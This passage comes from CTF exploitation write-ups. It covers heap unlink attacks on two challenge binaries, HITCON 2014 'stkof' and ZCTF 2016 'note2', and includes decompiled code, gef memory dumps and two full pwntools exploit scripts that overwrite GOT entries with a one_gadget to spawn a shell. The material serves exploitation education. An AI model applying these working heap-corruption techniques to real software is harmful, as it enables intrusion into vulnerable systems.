0x602160: 0x14fc640 0x14fc6f0
0x602170: 0x14fc7a0 0x0
0x602180: 0x0 0x0
```

So we can see our fake chunk and heap metadata overflow just like we planned. This should write the pointer `0x602148` to `0x602160` since `0x602148` is the `fd` pointer and `bk->fd = fd` happens in malloc.c. After the unlink, we can see that the write worked:

```
gef➤  x/10g 0x602140
0x602140: 0x0 0x14fc020
0x602150: 0x14fc4e0 0x14fc590
0x602160: 0x602148  0x14fc6f0
0x602170: 0x14fc7a0 0x0
0x602180: 0x0 0x0
gef➤  heap bins
[+] No Tcache in this version of libc
──────────────────────────────────────────
Fastbins for arena 0x7f030751bb20
──────────────────────────────────────────
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
──────────────────────────────────────────
Unsorted Bin for arena '*0x7f030751bb20'
──────────────────────────────────────────
[+] unsorted_bins[0]: fw=0x14fc640, bk=0x14fc640
 →   Chunk(addr=0x14fc650, size=0x150, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
──────────────────────────────────────────
Small Bins for arena '*0x7f030751bb20'
──────────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
──────────────────────────────────────────
Large Bins for arena '*0x7f030751bb20'
──────────────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
```

So we can see that the unlink attack worked and we were able to write the pointer `0x602148` to `0x602160` . So we essentially wrote a pointer to the array at offset `+0x8` to itself. This is extremely helpful since that pointer is in a spot that we can write to it, and we can essentially overwrite pointers in the array, then write to those new pointers (we will use that for the GOT overwrite). We can see that the fake chunk we unlinked ended up in the unsorted bin. It's important that we allocate a chunk big enough that it doesn't end up in the fast bin, because that would cause this attack not to work.

GOT Overwrite / Infoleak

So now that we have a pointer to the array of pointers that we can write to, the rest is going to be pretty simple and stuff we've already covered. We will write the got address of `strlen` (`strlen` is really convenient since it is only called in one spot that fits perfectly for this) to `0x602148` and the got address of `malloc` to `0x602150` (we will be overwriting both the values stored at both of these addresses). We will overwrite the got address of `strlen` with plt address of `puts` (since it is imported). That way when we call `printData` it will actually print the data of the chunk. Then we will call `printData` with and index of `2` (maps to `0x602150`) so it will leak the libc address of malloc to us. After that, we can just overwrite the got entry of malloc with a oneshot gadget (which we know thanks to the libc infoleak), and then just call malloc to get a shell. Here is a walkthrough on how the memory is corrupted:

First we start off with the memory post unlink attack:

```
gef➤  x/10g 0x602140
0x602140: 0x0 0x24fc020
0x602150: 0x24fc4e0 0x24fc590
0x602160: 0x602148  0x0
0x602170: 0x24fc7a0 0x0
0x602180: 0x0 0x0
```

We will use the `0x602148` to write the got entry addresses for `strlen` and `malloc`:

```
gef➤  x/10g 0x602140
0x602140: 0x0 0x602030
0x602150: 0x602070  0x24fc590
0x602160: 0x602148  0x0
0x602170: 0x24fc7a0 0x0
0x602180: 0x0 0x0
gef➤  x/g 0x602030
0x602030 <strlen@got.plt>:  0x400786
gef➤  x/g 0x602070
0x602070 <malloc@got.plt>:  0x7f42c19d9130
```

Next we will write the plt address of `puts` to the got entry for `strlen` and get the infoleak:

```
gef➤  x/10g 0x602140
0x602140: 0x0 0x602030
0x602150: 0x602070  0x24fc590
0x602160: 0x602148  0x0
0x602170: 0x24fc7a0 0x0
0x602180: 0x0 0x0
gef➤  x/g 0x602030
0x602030 <strlen@got.plt>:  0x400760
gef➤  x/i 0x400760
   0x400760 <puts@plt>: jmp    QWORD PTR [rip+0x2018ba]        # 0x602020
<puts@got.plt>
```

Finally we will just overwrite the got entry for `malloc` with a oneshot gadget, and then just call malloc to get a shell:

```
gef➤  x/10g 0x602140
0x602140: 0x0000000000000000  0x0000000000602030
0x602150: 0x0000000000602070  0x00000000024fc590
0x602160: 0x0000000000602148  0x0000000000000000
0x602170: 0x00000000024fc7a0  0x0000000000000000
0x602180: 0x0000000000000000  0x0000000000000000
gef➤  x/g 0x0000000000602070
0x602070 <malloc@got.plt>:  0x00007f42c1a452a4
gef➤  x/i 0x00007f42c1a452a4
```

Also remember to get our oneshot gadget:

```
$ one_gadget libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
```

Exploit

Putting it all together we get the following exploit (this exploit was ran on `Ubuntu 16.04`):

```
from pwn import *

target = process("./stkof", env={"LD_PRELOAD":"./libc-2.23.so"})
elf = ELF("stkof")
libc = ELF("libc-2.23.so")

#gdb.attach(target, gdbscript='b *0x400b7a')

# I/O Functions
def add(size):
  target.sendline("1")
  target.sendline(str(size))
  print target.recvuntil("OK\n")

def scan(index, size, data):
  target.sendline("2")
  target.sendline(str(index))
  target.sendline(str(size))
  target.send(data)
  print target.recvuntil("OK\n")

def remove(index):
  target.sendline("3")
  target.sendline(str(index))
  print target.recvuntil("OK\n")

def view(index):
  target.sendline("4")
  target.sendline(str(index))
  #print "pillar"
  leak = target.recvline()
  leak = leak.replace("\x0a", "")
  leak = u64(leak + "\x00"*(8-len(leak)))
  print hex(leak)
  #print "men"
  print target.recvuntil("OK\n")
  return leak

# The array of ptrs starts at 0x602140
# 0x602160 contains the specific heap chunk ptr to the chunk which will hold our
fake chunk in it
ptr = 0x602160

# Allocate several different chunks so we can get adjacent chunks
add(0xa0)
add(0xa0)
add(0xa0)
add(0xa0)# The chunk which will store our fake chunk
add(0xa0)
add(0xa0)

# Construct the fake chunk
```

```
fakeChunk = ""
fakeChunk += p64(0x0)   # Previous Size
fakeChunk += p64(0xa0)    # Size
fakeChunk += p64(ptr - 0x8*3) # FD ptr
fakeChunk += p64(ptr - 0x8*2) # BK ptr
fakeChunk += p64(0x0)*((0xa0 - 0x20)/8) # FD Next Size / filler to the next
chunks heap metadata

# These 16 bytes will overflow into the next chunks heap metadata

fakeChunk += p64(0xa0)  # Previous Size
fakeChunk += p64(0xb0)  # Size

# Send the data for the fake chunk and the heap metadata overflow
scan(4, 0xb0, fakeChunk)

# Trigger the unlink attack by freeing the chunk with the overflowed heap
metadata
remove(5)

# Write the got addresses of strlen and malloc to 0x602148 (array of ptrs of
heap address)
scan(4, 0x10, p64(elf.got["strlen"]) + p64(elf.got["malloc"]))

# Overwrite got entry for strlen with plt address of puts
scan(1, 0x8, p64(elf.symbols["puts"]))

# Leak the libc address of malloc, calculate libc base and oneshot gadget
address
mallocLibc = view(2)
libcBase = mallocLibc - libc.symbols["malloc"]
oneShot = libcBase + 0xf02a4

print "libc base: " + hex(libcBase)
print "oneshot gadget: " + hex(oneShot)

# Overwrite got entry for malloc with oneshot gadget
scan(2, 0x8, p64(oneShot))

# Call malloc
target.send("1\n1\n")

# Enjoy your shell!
target.interactive()
```

When we run it:

```
$ python exploit.py
[+] Starting local process './stkof': pid 28678
[*] '/home/guyinatuxedo/Desktop/hitcon14/stkof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/guyinatuxedo/Desktop/hitcon14/libc-2.23.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
1
OK

2
OK

3
OK

4
OK

5
OK

6
OK

OK

OK

OK

OK

0x7f6a67af4130
...
OK

libc base: 0x7f6a67a70000
oneshot gadget: 0x7f6a67b602a4
OK

[*] Switching to interactive mode
$ w
 23:32:52 up 14:32,  1 user,  load average: 2.04, 1.68, 1.57
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
```

```
guyinatu tty7     :0               26Jun19 12days  1:43m  0.34s /sbin/upstart
--user
$ ls
exploit.py  libc-2.23.so  stkof
```

Just like that we popped a shell!

zctf 2016 note2

Let's see what we are dealing with:

```
$    file note2
note2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/l, for GNU/Linux 2.6.24,
BuildID[sha1]=46dca2e49f923813b316f12858e7e0f42e4a82c3, stripped
$    pwn checksec note2
[*] '/home/guyinatuxedo/Desktop/zctf/note2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./libc-2.23.so
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release version 2.23, by
Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
    crypt add-on version 2.1 by Michael Glad and others
    GNU Libidn by Simon Josefsson
    Native POSIX Threads Library by Ulrich Drepper et al
    BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
$    ./note2
Input your name:
15935728
Input your address:
15935728
1.New note
2.Show  note
3.Edit note
4.Delete note
5.Quit
option--->>
```

So we are dealing with a `64` bit elf binary, with a stack canary and NX (but no RELRO). We also see that we are given a libc version `2.23` (I'm not sure if that is the one originally associated with the challenge, but that is what I will use here). When we run the binary, it prompts us for a name and an address. After that we get a menu where we can make a not, show a not, edit a note, and delete a note.

Reversing

Looking through the list of functions in Ghidra (or checking the xreferences to certain strings and tracing back where the functions that contain those strings are called) we find this function which acts as the menu:

```
void menu(void)

{
  undefined4 uVar1;

  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  alarm(0x3c);
  puts("Input your name:");
  callRead(&name,0x40,10);
  puts("Input your address:");
  callRead(&address,0x60,10);
LAB_0040101c:
  uVar1 = printMenu();
  switch(uVar1) {
  case 1:
    allocateChunk();
    goto LAB_0040101c;
  case 2:
    showChunk();
    goto LAB_0040101c;
  case 3:
    editChunk();
    goto LAB_0040101c;
  case 4:
    freeChunk();
    goto LAB_0040101c;
  case 5:
    break;
  case 6:
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("Bye~");
                    /* WARNING: Subroutine does not return */
  exit(0);
}
```

So we can see, it prompts us to scan in a name and an address (which correlate to the bss addresses `0x6020e0` and `0x602180`). Let's take a look at the `allocateChunk` function:

```c
void allocateChunk(void)

{
  uint size;
  void *ptr;
  ulong uVar1;

  if (count < 4) {
    puts("Input the length of the note content:(less than 128)");
    size = getInt();
    if (size < 0x81) {
      ptr = malloc((ulong)size);
      puts("Input the note content:");
      callRead(ptr,(ulong)size,10,(ulong)size);
      FUN_00400b10(ptr);
      *(void **)(&pointers + (ulong)count * 8) = ptr;
      *(ulong *)(&sizes + (ulong)count * 8) = (ulong)size;
      uVar1 = (ulong)count;
      count = count + 1;
      printf("note add success, the id is %d\n",uVar1);
    }
    else {
      puts("Too long");
    }
  }
  else {
    puts("note lists are full");
  }
  return;
}
```

So we can see that we get to specify the size of the chunk that is malloced, however it can't be greater than `0x81` bytes. After that It will allow us to scan in data into that buffer. After that it will save the pointer to the malloced chunk in the array `pointers` (stored in the bss address `0x602120`). It also stores the size of the chunk in the bss array `sizes` at `0x602140`. We also see that it keeps a count of how many chunks have been allocated with the bss integer `count` at `0x602160` (and we can only allocate `4` chunks). Also through trial and error, we see that with this we get a heap overflow bug. Next we take a look at the `showChunk` function:

```
void showChunk(void)

{
  int iVar1;

  puts("Input the id of the note:");
  iVar1 = getInt();
  if (((-1 < iVar1) && (iVar1 < 4)) && (*(long *)(&pointers + (long)iVar1 * 8)
!= 0)) {
    printf("Content is %s\n",*(undefined8 *)(&pointers + (long)iVar1 * 8));
  }
  return;
}
```

So we can see here, it prompts us for an index for the `pointers` array. If it passed a check, it will print the contents of the chunk using `printf`. Next up we have the `editChunk` function:

```
void editChunk(void)

{
  char *__src;
  long lVar1;
  undefined8 *puVar2;
  int iVar3;
  size_t sVar4;
  long in_FS_OFFSET;
  char local_100 [128];
  undefined8 *local_80;
  long canary;

  canary = *(long *)(in_FS_OFFSET + 0x28);
  if (count == 0) {
    puts("Please add a note!");
  }
  else {
    puts("Input the id of the note:");
    iVar3 = getInt();
    if ((-1 < iVar3) && (iVar3 < 4)) {
      __src = *(char **)(&pointers + (long)iVar3 * 8);
      lVar1 = *(long *)(&sizes + (long)iVar3 * 8);
      if (__src == (char *)0x0) {
        puts("note has been deleted");
      }
      else {
        puts("do you want to overwrite or append?[1.overwrite/2.append]");
        iVar3 = getInt();
        if ((iVar3 == 1) || (iVar3 == 2)) {
          if (iVar3 == 1) {
            local_100[0] = '\0';
          }
          else {
            strcpy(local_100,__src);
          }
          local_80 = (undefined8 *)malloc(0xa0);
          *local_80 = 0x6f4377654e656854;
          local_80[1] = 0x3a73746e65746e;
          printf((char *)local_80);
          callRead((long)local_80 + 0xf,0x90,10);
          FUN_00400b10((long)local_80 + 0xf);
          puVar2 = local_80;
          sVar4 = strlen(local_100);
          *(undefined *)((lVar1 - sVar4) + 0xe + (long)puVar2) = 0;
          strncat(local_100,(char *)((long)local_80 + 0xf),0xffffffffffffffff);
          strcpy(__src,local_100);
          free(local_80);
          puts("Edit note success!");
        }
        else {
          puts("Error choice!");
```

```
        }
      }
    }
  }
  if (canary == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}
```

With this function, I didn't really reverse it. Through trial and error, I see that it allows us to edit chunks. I also noticed that there appears to be another bug in this function, however with everything else I didn't need it to get a shell (I was a bit tired from work when I solved this challenge). Next up we have the `freeChunk` function.

```
void freeChunk(void)

{
  int iVar1;

  puts("Input the id of the note:");
  iVar1 = getInt();
  if (((-1 < iVar1) && (iVar1 < 4)) && (*(long *)(&pointers + (long)iVar1 * 8)
!= 0)) {
    free(*(void **)(&pointers + (long)iVar1 * 8));
    *(undefined8 *)(&pointers + (long)iVar1 * 8) = 0;
    *(undefined8 *)(&sizes + (long)iVar1 * 8) = 0;
    puts("delete note success!");
  }
  return;
}
```

So we can see, it prompts us for a chunk index and checks it. If it passes that check, then it will free the chunk. It will also zero out the pointer and the size, so no use after free. Also freeing a chunk doesn't decrement `count`, so we only get four chunks.

Exploitation

So we have a heap overflow bug, the ability to allocate four chunks, free them and view their contents. Also there is an array which stores all of the heap pointers at `0x602120` (no PIE so that address doesn't change). The first step of our exploit will be a heap unlink attack.

Heap Unlink

So we will be doing a heap unlink attack. The goal of this will be to write a pointer to a little bit before `pointers` (bss `0x602120`) to the array. That way we can just reference that pointer to edit pointers, and we will effectively be able to read and write what we want to/from memory. This next part explains how a heap unlink attack works, and is pretty similar to the other writeup in this module (feel free to skip these next few parts explanning):

So for our exploitation process, we will be doing an unlink attack (which is viable on older libc versions, think pre-tcache). Unlinking for the heap is the process of removing a chunk from a bin list (in this case for heap consolidation for performance improvement reasons). What this attack will do is give us a write. However there are a lot of restrictions on what we can write and where we can write. Essentially when an unlink happens, it will write pointers to a chunk to fill in the gap of the chunk that was taken out. This is the write that we get. Let's take a look at the code in `malloc.c` to get a bit of an idea:

```
/* Take a chunk off a bin list.  */
static void
unlink_chunk (mstate av, mchunkptr p)
{
  if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr ("corrupted size vs. prev_size");
  mchunkptr fd = p->fd;
  mchunkptr bk = p->bk;
  if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    malloc_printerr ("corrupted double-linked list");
  fd->bk = bk;
  bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
```

So we can see here, what it does is it takes a chunk, and performs some checks on it. If the chunk passess all of the checks, it will write the pointers with `fd->bk = bk`, `bk->fd = fd`. There are essentially three checks that we need to worry about which we will set up a fake chunk for it. In order for this to work, we need a pointer to the malloc chunk which we will be making our fake chunk in stored somewhere we know. All of our heap chunks are stored in the bss starting at `0x602120` (remember no PIE) so we have that requirement met. Next up we will need to setup the fake chunk, which will contain `fwd` and `bk` pointers which on paper should point to the previous and next chunks in the list (since in the unlink the middle chunk gets removed, pointers to the `fwd` and `bk` chunks are written to each other to fill the gap in the list).

So here is a bit of a representation of what's happening. Starting off here are our three chunks that will be a part of the unlink. They are linked via a doubly linked list with `fd` (forward) and `bk` (back) pointers. The only chunk we are actually going to write any data for will be the middle chunk. For this we will allocate two chunks (actual chunks allocated with malloc). These two chunks will need to be stored adjacent in memory (so we can use one to overflow the other). In the first one we will store the fake chunk, and also use it to overflow into the metadata of the second chunk. Then by freeing the second chunk it will trigger the unlink. The second chunk will not store any part of these three chunks.:

```
+-----------------+     +-----------------+     +-----------------+
| BK              |     | P (fake chunk)  |     | FD              |
+-----------------+     +-----------------+     +-----------------+
| BK->fd          |     | P->fd           |     | FD->fd          |
+-----------------+     +-----------------+     +-----------------+
| BK->bk          |     | P->bk           |     | FD->bk          |
+-----------------+     +-----------------+     +-----------------+
```

So in order to pass the unlink check for `if (__builtin_expect (fd->bk != p || bk->fd != p, 0))` , the back pointer of the next chunk and the forward pointer of the previous chunk must be equal to the chunk address of our fake chunk. This is why we need a pointer to our heap chunk to be stored in an area of memory that we know and can read from. Since we have that in the PIE, this is fairly easy to set up. We just need to take the address that the pointer to our fake chunk is stored at, and subtract `0x18` from it to setup the `P->FD` pointer. The first `0x10` bytes of the `0x18` is because there are two QWORDS taken up for the heap metadata (like with a lot of heap chunks). The last `0x8` bytes is because with the `FD` chunk, we are worried about the `FD->bk` pointer not the `FD->fd` and the `FD->fd` takes up the first eight bytes of the chunk (so we need to shift it back by eight bytes to get the pointer in the right spot). Coincidentally we need to subtract `0x10` bytes from the pointer to our fake heap chunk for our `P->bk` , since with that chunk we are worried about the `fwd` pointer which is before the back pointer. The values for `FD-fd` and `BK->bk` don't matter too much in this case:

```
+-----------------+     +-----------------+     +-----------------+
| BK              |     | P (fake chunk)  |     | FD              |
+-----------------+     +-----------------+     +-----------------+
| BK-fd -> P      |     | P-fd  -> FD     |     | FD-fd  -> null  |
+-----------------+     +-----------------+     +-----------------+
| BK->bk -> null  |     | P->bk -> BK     |   | FD->bk -> P     |
+-----------------+     +-----------------+     +-----------------+
```

There are two more checks we need to worry about. The first is the size check of our fake chunk, which we will cover in a bit when we talk about how exactly we are going to overflow the heap metadata. The third check consists of the `p->fd_nextsize != NULL` . If we can set `p->fd_nextsize` equal to null, that means we will be able to skip most other checks which will save us a lot of time and hassle. Looking at the source code in `malloc.c` (https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#_int_free) we can see it is stored right after the `bk` pointer:

```
struct malloc_chunk {
  INTERNAL_SIZE_T      mchunk_prev_size;  /* Size of previous chunk (if free).
*/
  INTERNAL_SIZE_T      mchunk_size;       /* Size in bytes, including overhead.
*/
  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;
  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};
```

So in order to hit that check that way we want, we just need to set the next QWORD after `bk` to be `0x0`.

After that, we will free the second chunk (second chunk that we allocated) which will trigger the unlink, and write a pointer to `BK-fd` and `FD->bk`. In this case it will be a pointer to the fake `FD` chunk, since they will both be writing it to the same location in memory, however that pointer gets written last.

```
+-----------------+    +-----------------+
| BK              |    | FD              |
+-----------------+    +-----------------+
| BK-fd -> FD     |    | FD-fd  -> null  |
+-----------------+    +-----------------+
| BK->bk -> null  |    | FD->bk -> BK    |
+-----------------+    +-----------------+
```

Let's talk about how we will be overflowing the heap metadata and constructing the fake chunk. For this we will allocate three chunks. The first will hold our fake chunk for the unlink. The second chunk we will use to overflow the metadata of the third chunk. The third chunk will be the one which we overwrite the heap metadata to point to the fake chunk, and we free it. For the bug I used, I noticed that we can't use any null bytes (except the one at the end of the string) which we need for the fake chunk. That is why I have the second chunk, so I can overwrite the third chunk's metadata while still keeping the chunk intact. Let's take a look at the memory being corrupted. We start off with our three chunks:

```
gef➤  x/4g 0x602120
0x602120:    0x25f5010    0x25f50a0
0x602130:    0x25f50c0    0x0
gef➤  x/50g 0x25f5000
0x25f5000:    0x0    0x91
0x25f5010:    0x0    0xa0
0x25f5020:    0x602108    0x602110
0x25f5030:    0x0    0x0
0x25f5040:    0x0    0x0
0x25f5050:    0x0    0x0
0x25f5060:    0x0    0x0
0x25f5070:    0x0    0x0
0x25f5080:    0x31    0x0
0x25f5090:    0x0    0x21
0x25f50a0:    0x3131313131313131    0x31
0x25f50b0:    0x0    0x91
0x25f50c0:    0x3232323232323232    0x3232323232323232
0x25f50d0:    0x3232323232323232    0x3232323232323232
0x25f50e0:    0x3232323232323232    0x3232323232323232
0x25f50f0:    0x3232323232323232    0x3232323232323232
0x25f5100:    0x3232323232323232    0x3232323232323232
0x25f5110:    0x3232323232323232    0x3232323232323232
0x25f5120:    0x3232323232323232    0x3232323232323232
0x25f5130:    0x3232323232323232    0x32323232323232
0x25f5140:    0x0    0x20ec1
0x25f5150:    0x0    0x0
0x25f5160:    0x0    0x0
0x25f5170:    0x0    0x0
0x25f5180:    0x0    0x0
```

So we can see our fake chunk at `0x25f5010`. We will now free the `0x25f50a0` chunk, and reallocate it to overflow the third chunks metadata. We will set the previous size to `0xa0` to point to our fake chunk, and clear out the previous in use bit:

```
gef➤  x/4g 0x602120
0x602120:    0x25f5010    0x0
0x602130:    0x25f50c0    0x25f50a0
gef➤  x/50g 0x25f5000
0x25f5000:    0x0    0x91
0x25f5010:    0x0    0xa0
0x25f5020:    0x602108    0x602110
0x25f5030:    0x0    0x0
0x25f5040:    0x0    0x0
0x25f5050:    0x0    0x0
0x25f5060:    0x0    0x0
0x25f5070:    0x0    0x0
0x25f5080:    0x31    0x0
0x25f5090:    0x0    0x21
0x25f50a0:    0x3535353535353535    0x3535353535353535
0x25f50b0:    0xa0    0x90
0x25f50c0:    0x3232323232320031    0x3232323232323232
0x25f50d0:    0x3232323232323232    0x3232323232323232
0x25f50e0:    0x3232323232323232    0x3232323232323232
0x25f50f0:    0x3232323232323232    0x3232323232323232
0x25f5100:    0x3232323232323232    0x3232323232323232
0x25f5110:    0x3232323232323232    0x3232323232323232
0x25f5120:    0x3232323232323232    0x3232323232323232
0x25f5130:    0x3232323232323232    0x32323232323232
0x25f5140:    0x0    0x20ec1
0x25f5150:    0x0    0x0
0x25f5160:    0x0    0x0
0x25f5170:    0x0    0x0
0x25f5180:    0x0    0x0
```

So now when we free the third chunk, it will think that the previous chunk is freed and it starts at `0x25f50b0 - 0xa0 = 0x25f5010`. Since we setup our fake chunk to pass the checks, it will unlink our chunk and write the address of `P->fd` (`0x602120 - 0x18 = 0x602108`) to `0x602120`:

```
gef➤  x/4g 0x602120
0x602120:    0x602108    0x0
0x602130:    0x0    0x25f50a0
gef➤  x/50g 0x25f5000
0x25f5000:    0x0    0x91
0x25f5010:    0x0    0x20ff1
0x25f5020:    0x602108    0x602110
0x25f5030:    0x0    0x0
0x25f5040:    0x0    0x0
0x25f5050:    0x0    0x0
0x25f5060:    0x0    0x0
0x25f5070:    0x0    0x0
0x25f5080:    0x31    0x0
0x25f5090:    0x0    0x21
0x25f50a0:    0x3535353535353535    0x3535353535353535
0x25f50b0:    0xa0    0x90
0x25f50c0:    0x3232323232320031    0x3232323232323232
0x25f50d0:    0x3232323232323232    0x3232323232323232
0x25f50e0:    0x3232323232323232    0x3232323232323232
0x25f50f0:    0x3232323232323232    0x3232323232323232
0x25f5100:    0x3232323232323232    0x3232323232323232
0x25f5110:    0x3232323232323232    0x3232323232323232
0x25f5120:    0x3232323232323232    0x3232323232323232
0x25f5130:    0x3232323232323232    0x32323232323232
0x25f5140:    0x0    0x20ec1
0x25f5150:    0x0    0x0
0x25f5160:    0x0    0x0
0x25f5170:    0x0    0x0
0x25f5180:    0x0    0x0
```

Just like that, the unlink was a success. Now we can use the pointer at `0x602120` to edit the array itself and overwrite pointers, than write to or print the data pointed to by those pointers. For this I wrote the got address of `atoi` to `0x602120`, and printed it for a libc infoleak:

```
gef➤  x/4g 0x602120
0x602120:    0x602088    0x0
0x602130:    0x0    0x25f50a0
gef➤  x/g 0x602088
0x602088 <atoi@got.plt>:    0x7f1df5482e80
```

After that, we can just write a oneshot gadget to `atoi`, and when it gets called (which it does throughout the program) we will get a shell. I choose this one since the first few I tried didn't work for some reason (too tired from work to debug it, so I just tried a few other functions).

Exploit

Putting it all together, we get the following exploit. This exploit was ran on Ubuntu 16.04:

```python
from pwn import *

# Establish the target process, binary, and libc
target = process("./note2", env={"LD_PRELOAD":"./libc-2.23.so"})
elf = ELF('note2')
libc = ELF('libc-2.23.so')

# You were expecting a comment, BUT IT WAS ME DIO!
#gdb.attach(target)

# Establish our io functions
def addNote(content, size):
    print target.recvuntil("option--->>")
    target.sendline("1")
    print target.recvuntil("(less than 128)")
    target.sendline(str(size))
    print target.recvuntil("content:")
    target.send(content)

def editNote(index, content, app):
    print target.recvuntil("option--->>")
    target.sendline("3")
    print target.recvuntil("note:")
    target.sendline(str(index))
    print target.recvuntil("2.append]")
    target.sendline(str(app))
    print target.recvuntil("TheNewContents:")
    target.sendline(content)

def deleteNote(index):
    print target.recvuntil("option--->>")
    target.sendline("4")
    print target.recvuntil("note:")
    target.sendline(str(index))

def showNote(index):
    print target.recvuntil("option--->>")
    target.sendline("2")
    print target.recvuntil("note:")
    target.sendline("0")
    print target.recvuntil("Content is ")
    leak = target.recvline().strip("\x0a")
    leak = u64(leak + "\x00"*(8-len(leak)))
    return leak

# Send data for the address / name
# For our exploit, this really doesn't matter (much like Aqua)
target.sendline("15935728")
target.sendline("15935728")


ptr = 0x602120
```

```
fakeChunk = ""

fakeChunk += p64(0x0)            # Previous Size
fakeChunk += p64(0xa0)            # Size
fakeChunk += p64(ptr - (0x8*3))        # FD ptr
fakeChunk += p64(ptr - (0x8*2))        # BK ptr
fakeChunk += p64(0x0)            # FD Next Size

# Allocate the heap chunk and store the fake chunk
addNote(fakeChunk, 0x80)

# For me, IO For this challenge was a bit weird. I needed to insert lines like
these in order
# for the input the happen properly.
target.sendline("1")

# Add the second chunk, which will free and reallocate for the overflow
addNote("1"*0x8, 00)
target.sendline("1")

# This is the third chunk which we will overflow it's heap metadata to point to
the fake chunk as a freed previous chunk
addNote("2"*0x80, 0x80)
target.sendline("1")

# Free the second chunk, reallocate it and overflow the heap metatda's previous
size and size
deleteNote(1)

addNote("5"*0x10 + p64(0xa0) + p64(0x90), 0)
target.sendline("1")


# Free the third chunk (with the overwritten heap metadata) to execute the
unlink
deleteNote(2)

# Now that the unlink happened, write the got entry address for atoi to the heap
pointers array
editNote(0, "6"*24 + p64(elf.got['atoi']), 1)

# Leak the libc address of atoi, calculate our oneshot gadget address
leak = showNote(0)
libcBase = leak - libc.symbols['atoi']
oneShot = libcBase + 0xf02a4

print "libc base: " + hex(libcBase)
print "oneshot gadget: " + hex(oneShot)

# Write over the got entry for atoi with the oneshot gadget
editNote(0, p64(oneShot), 1)
```

```
# Send the string "1" to call atoi, call our oneshot gadget and get a shell
target.sendline("1")

target.interactive()
```

When we run it:

```
$    python exploit.py
[+] Starting local process './note2': pid 4270
[*] '/home/guyinatuxedo/Desktop/zctf/note2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/guyinatuxedo/Desktop/zctf/libc-2.23.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Input your name:
Input your address:
1.New note
2.Show  note
3.Edit note
4.Delete note
5.Quit
option--->>

Input the length of the note content:(less than 128)

Input the note content:

note add success, the id is 0
1.New note
2.Show  note
3.Edit note
4.Delete note
5.Quit
option--->>

Input the length of the note content:(less than 128)

Input the note content:

note add success, the id is 1
1.New note
2.Show  note
3.Edit note
4.Delete note
5.Quit
option--->>

Input the length of the note content:(less than 128)

Input the note content:

note add success, the id is 2
```

```
1.New note
2.Show  note
3.Edit note
4.Delete note
5.Quit
option--->>

1.New note
2.Show  note
3.Edit note
4.Delete note
5.Quit
option--->>
Input the id of the note:

delete note success!
1.New note
2.Show  note
3.Edit note
4.Delete note
5.Quit
option--->>

Input the length of the note content:(less than 128)

Input the note content:

note add success, the id is 3
1.New note
2.Show  note
3.Edit note
4.Delete note
5.Quit
option--->>

Input the id of the note:

delete note success!
1.New note
2.Show  note
3.Edit note
4.Delete note
5.Quit
option--->>

Input the id of the note:

do you want to overwrite or append?[1.overwrite/2.append]

TheNewContents:
Edit note success!
1.New note
2.Show  note
```

```
3.Edit note
4.Delete note
5.Quit
option--->>

Input the id of the note:

Content is
libc base: 0x7fa5eca52000
oneshot gadget: 0x7fa5ecb422a4
1.New note
2.Show  note
3.Edit note
4.Delete note
5.Quit
option--->>

Input the id of the note:

do you want to overwrite or append?[1.overwrite/2.append]

TheNewContents:
[*] Switching to interactive mode
Edit note success!
1.New note
2.Show  note
3.Edit note
4.Delete note
5.Quit
option--->>
$ w
 22:20:38 up  1:45,  1 user,  load average: 0.40, 0.38, 0.22
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu tty7     :0               20:35    1:45m  1:06   0.19s /sbin/upstart
--user
$ ls
core  exploit.py  libc-2.19.so    libc-2.23.so  note2
```

Just like that, we popped a shell!

Heap Grooming Explanation

This is just a well documented c file which explains what heap grooming is, and shows one example of it.

The C code:

```c
